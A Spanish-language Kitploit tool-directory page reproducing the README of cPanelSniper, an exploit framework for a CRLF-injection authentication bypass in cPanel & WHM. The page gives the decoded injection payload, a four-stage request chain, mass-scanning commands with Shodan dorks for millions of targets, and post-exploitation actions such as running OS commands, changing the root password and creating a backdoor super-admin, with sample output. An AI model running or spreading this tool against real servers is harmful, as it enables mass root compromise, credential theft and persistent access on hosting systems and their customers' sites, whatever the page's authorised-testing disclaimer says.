Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cpsniper — cPanelSniper ESTABLE - CVE-2026-41940 optimizado para más de 10M de objetivos | Kitploit
Herramientas/GitHubGitHub/44pie/cpsniper
Autenticación y AutorizaciónEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónComando y ControlRed Teaming
GitHub44pie/cpsniper

cpsniper

cPanelSniper ESTABLE - CVE-2026-41940 optimizado para más de 10M de objetivos

Ver Repositorio
27hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — Bypass de autenticación en cPanel & WHM mediante inyección CRLF en el archivo de sesión
Cadena de explotación de 4 etapas · Shell WHM interactivo · VERDADERAMENTE ESTABLE para más de 10M de objetivos · Cero uso de memoria · solo stdlib


Descripción general

cPanelSniper es un framework de explotación especializado para CVE-2026-41940, una vulnerabilidad crítica de bypass de autenticación que afecta a cPanel & WHM. La vulnerabilidad permite a atacantes remotos no autenticados obtener acceso WHM a nivel de root inyectando secuencias CRLF en el archivo de sesión a través de la cabecera HTTP Authorization — sin necesidad de credenciales válidas.

  • Puntuación CVSS: 10.0 (Crítica)
  • Explotación en el mundo real: Confirmada (abril de 2026)
  • Instalaciones afectadas: ~70 millones de dominios que ejecutan cPanel & WHM
  • Sin dependencias: Solo stdlib de Python puro — sin pip, sin requests, sin paquetes externos

Solo para pruebas de penetración autorizadas y programas de bug bounty.


⚡ VERSIÓN VERDADERAMENTE ESTABLE

Esta versión está optimizada para escanear más de 10.000.000 de objetivos con CERO uso de memoria.

Qué se ha corregido

Características clave

  • Arquitectura de transmisión - Procesa más de 10M de objetivos sin cargarlos en memoria
  • Cero fallos OOM - Incluso con listas de objetivos muy grandes
  • Reanudación automática - Continúa desde donde te detuviste con --resume
  • Progreso en tiempo real - ETA, velocidad de escaneo, seguimiento de errores
  • Guardados periódicos - Los resultados se guardan automáticamente para evitar la pérdida de datos
  • Listo para pipelines - Funciona perfectamente con subfinder, httpx, shodan

Cómo funciona

La causa raíz reside en Session.pm: la función saveSession() llama a filter_sessiondata() después de escribir el archivo de sesión en el disco. Esto significa que los caracteres CRLF incrustados en el valor de la cabecera Authorization: Basic se escriben literalmente en el archivo de sesión, inyectando campos controlados por el atacante antes de que se produzca la sanitización.

root@kitploit:~
Flujo normal:
  POST /login/ → filter_sessiondata() → escribir sesión → comprobación de autenticación

Flujo vulnerable:
  POST /login/ → escribir sesión (payload CRLF inyectado) → filter_sessiondata() → la comprobación de autenticación lee el archivo envenenado

El payload CRLF

El valor de Authorization: Basic se decodifica como:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Estos campos se escriben directamente en el archivo de sesión en el disco. Cuando se leen de nuevo, cPanel trata la sesión como una sesión root completamente autenticada.

Cadena de explotación de 4 etapas

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  Etapa 0 — Descubrimiento del nombre de host canónico       │
│  GET /openid_connect/cpanelid → 307 → nombre de host real   │
├─────────────────────────────────────────────────────────────┤
│  Etapa 1 — Acuñar sesión previa a la autenticación          │
│  POST /login/?login_only=1  (credenciales incorrectas)      │
│  ← 401 + cookie whostmgrsession                             │
├─────────────────────────────────────────────────────────────┤
│  Etapa 2 — Inyección CRLF                                   │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd escribe campos CRLF en el archivo de sesión         │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Etapa 3 — Propagar (gadget do_token_denied)                │
│  GET /scripts2/listaccts                                    │
│  Activa el vaciado raw→cache — los campos inyectados se activan │
│  ← 401 Token denegado (esperado)                            │
├─────────────────────────────────────────────────────────────┤
│  Etapa 4 — Verificar acceso root de WHM                     │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = PWNED          │
└─────────────────────────────────────────────────────────────┘

Versiones afectadas


Instalación

root@kitploit:~
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help

No se requiere instalación con pip. Solo stdlib de Python 3.8+.


Uso

Escaneo básico

root@kitploit:~
# Objetivo único — solo escaneo
python3 cPanelSniper.py -u https://target.com:2087

# Objetivo único — shell interactivo tras el bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Lista grande de objetivos — más de 10M de objetivos (VERDADERAMENTE ESTABLE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Reanudar escaneo interrumpido
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

Acciones post-explotación

root@kitploit:~
# Listar todas las cuentas cPanel del servidor
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Ejecutar comando del sistema operativo
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Obtener información del servidor (hostname, carga, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Obtener versión de cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Cambiar contraseña de root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Shell WHM interactivo
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Pipelines (VERDADERAMENTE ESTABLE para listas grandes)

root@kitploit:~
# subfinder → httpx → guardar en archivo → escanear más de 10M de objetivos
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Desde lista de alcance - manejar millones de dominios
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

# Resultados de Shodan - escaneo masivo
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json

# Tubería stdin - solo para listas pequeñas (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py

# Múltiples fuentes combinadas → escaneo a gran escala
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume

Mejores prácticas VERDADERAMENTE ESTABLE

Para escanear más de 10M de objetivos:

  1. Guarda siempre primero en un archivo - No uses tuberías directas para listas grandes

    root@kitploit:~
    # BIEN - funciona con más de 10M de objetivos
    httpx ... > targets.txt
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
    
    # MAL - fallará con listas grandes
    httpx ... | python3 cPanelSniper.py
    
  2. Usa un número de hilos adecuado

    • 10-20 hilos: 100K objetivos
    • 30-50 hilos: 1M-10M objetivos
    • 50-100 hilos: más de 10M de objetivos
  3. Activa la reanudación automática para escaneos largos

    root@kitploit:~
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
    

    Si se interrumpe, simplemente ejecútalo de nuevo con --resume

  4. Supervisa el progreso

    • ETA en tiempo real mostrada
    • Resultados guardados cada 60 segundos
    • Ctrl+C conserva todos los hallazgos

Shell WHM interactivo

Tras un bypass exitoso, el indicador --action shell abre un prompt interactivo:

root@kitploit:~
════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Versión: CVE-2026-41940 | Auth: bypass CRLF
  Escribe 'help' para comandos, 'exit' para salir
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [Cuentas cPanel]  target.com:2087 (47 usuarios)
    user01               dominio: example.com    email: [email protected]
    user02               dominio: shop.com       email: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [Información del servidor]  https://target.com:2087
  hostname: srv01.target.com
  carga: 0.72 / 0.66 / 0.69
  versión: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [ADMIN BACKDOOR CREADO]
  Objetivo   : https://target.com:2087
  Usuario    : mitsec
  Contraseña : P@ss2026!
  Perfil     : super_admin

[email protected] ▶ exit

Comandos del shell


Referencia CLI

root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--resume]
                       [-o OUTPUT] [--no-color] [--save-interval N]

Objetivo:
  -u, --url URL          URL de objetivo único (p. ej. https://host:2087)
  -l, --list LIST        Archivo con URLs (una por línea)
  --hostname HOSTNAME    Sobrescribir cabecera Host canónica (auto-descubierta)

Escaneo:
  -t, --threads N        Hilos concurrentes (predeterminado: 20)
  --timeout N            Segundos de tiempo de espera de solicitud (predeterminado: 15)
  --resume               Reanudar desde escaneo anterior (omitir objetivos procesados)

Salida:
  -o, --output FILE      Guardar resultados en archivo JSON
  --no-color             Deshabilitar colores ANSI
  --save-interval N      Guardar resultados cada N segundos (predeterminado: 60)

Dorks de Shodan

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

Ejemplo de salida

root@kitploit:~
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — Bypass de autenticación en cPanel & WHM mediante inyección CRLF
  4 etapas: preauth → inyección CRLF → propagación → verificación → post-explotación
  En el mundo real | CVSS 10.0 | Por Mitsec (@ynsmroztas)

  Configuración:
   Objetivos : 1
   Hilos     : 10
   Tiempo de espera : 15s
   Acción    : list

14:46:22 [SCAN] Iniciando cadena de explotación de 4 etapas... https://target.com:2087
14:46:23 [INFO] Nombre de host canónico descubierto: srv01.target.com
14:46:23 [STEP] Etapa 1/4 — Acuñando sesión previa a la autenticación...
14:46:23 [  OK] Etapa1: sesión preauth = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Etapa 2/4 — Inyección CRLF mediante cabecera Authorization...
14:46:24 [  OK] Etapa2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Etapa 3/4 — Disparando gadget do_token_denied (raw→cache)...
14:46:25 [  OK] Etapa3: HTTP 401 — gadget do_token_denied disparado
14:46:25 [STEP] Etapa 4/4 — Verificando acceso root de WHM...
14:46:26 [PWND] CVE-2026-41940 CONFIRMADO — ¡Acceso root de WHM!
14:46:26 [PWND]   Token    : /cpsess8493537756
14:46:26 [PWND]   Versión  : 11.130.0.6
14:46:26 [PWND]   URL API  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Ejecutando acción post-explotación: list
14:46:27 [ API] listaccts → HTTP 200

  [Cuentas cPanel]  target.com:2087 (47 cuentas)
    client01    dominio: client01.com    email: [email protected]
    client02    dominio: client02.net    email: [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — Escaneo completado
  Tiempo: 5.8s  ·  Objetivos: 1

  ⚡ 1 OBJETIVO(S) VULNERABLE(S)

  Objetivo  : https://target.com:2087
  Versión   : 11.130.0.6
  Token     : /cpsess8493537756
  URL API   : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

Detalles técnicos

Inyección en el archivo de sesión

El valor inyectado de Authorization: Basic (decodificado en base64) contiene secuencias CRLF que se convierten en saltos de línea en el archivo de sesión de cPanel:

root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

El lector de sesiones de cPanel analiza estos como campos de sesión legítimos, otorgando acceso root completo a WHM.

Etapa 3 — El gadget do_token_denied

El paso crítico y a menudo pasado por alto: después de la inyección CRLF (Etapa 2), los datos de sesión envenenados existen solo en el archivo de sesión sin procesar. Una solicitud a /scripts2/listaccts activa el manejador interno do_token_denied, que vacía los datos de sesión sin procesar en la cache de sesión. Sin este vaciado, la Etapa 4 devolvería un 403.

Extracción del token de sesión

root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- hash ob (eliminado)
                              +-- nombre de sesión (usado para la inyección)

El nombre de sesión (antes de %2C) se extrae y se usa como valor de cookie para solicitudes posteriores.


Referencias

  • watchTowr Labs — Análisis técnico de CVE-2026-41940
  • Aviso de seguridad de cPanel
  • NVD — CVE-2026-41940
  • Blog de Hadrian — Análisis de CVE-2026-41940
  • Plantilla Nuclei — CVE-2026-41940

Aviso legal

Esta herramienta está destinada solo a pruebas de seguridad autorizadas y programas de bug bounty. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad y no se hace responsable de ningún uso indebido o daño causado por esta herramienta. Obtén siempre la autorización escrita adecuada antes de realizar pruebas.


Autor

Mitsec — @ynsmroztas

  • 🏆 Top Hacker — Intigriti
  • 🐛 Más de 2.430 vulnerabilidades divulgadas
  • 💀 Más de 1.100 hallazgos críticos P1
  • 🏅 Más de 100 reconocimientos en Hall of Fame

Hecho con ❤️ por @ynsmroztas

Descargar herramienta
ProblemaVersión originalVersión corregida
Uso de memoriaCarga todos los objetivos en RAMTransmite objetivos línea por línea (0 memoria)
10M de objetivosOOM → Eliminado ❌Se completa correctamente ✅
ReanudaciónNo compatibleIndicador --resume
ProgresoSin ETAETA en tiempo real + velocidad + estadísticas
ResultadosGuardados solo al finalGuardados cada 60 s (configurable)
RamaVulnerableParcheada
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5
ComandoDescripción
id / whoamiMostrar UID y hostname
hostnameObtener hostname del servidor
versionInformación de versión de cPanel
infoCarga, disco, host MySQL, versión
accountsListar todas las cuentas de usuario de cPanel
cat <ruta>Leer contenido de archivo
ls [ruta]Listar directorio
exec <cmd>Ejecutar comando del sistema operativo
addadmin <usuario> <contraseña>Crear administrador WHM backdoor
passwd <contraseña>Cambiar contraseña de root
api <endpoint> [k=v ...]Llamada JSON API de WHM sin procesar
helpMostrar todos los comandos
exitSalir del shell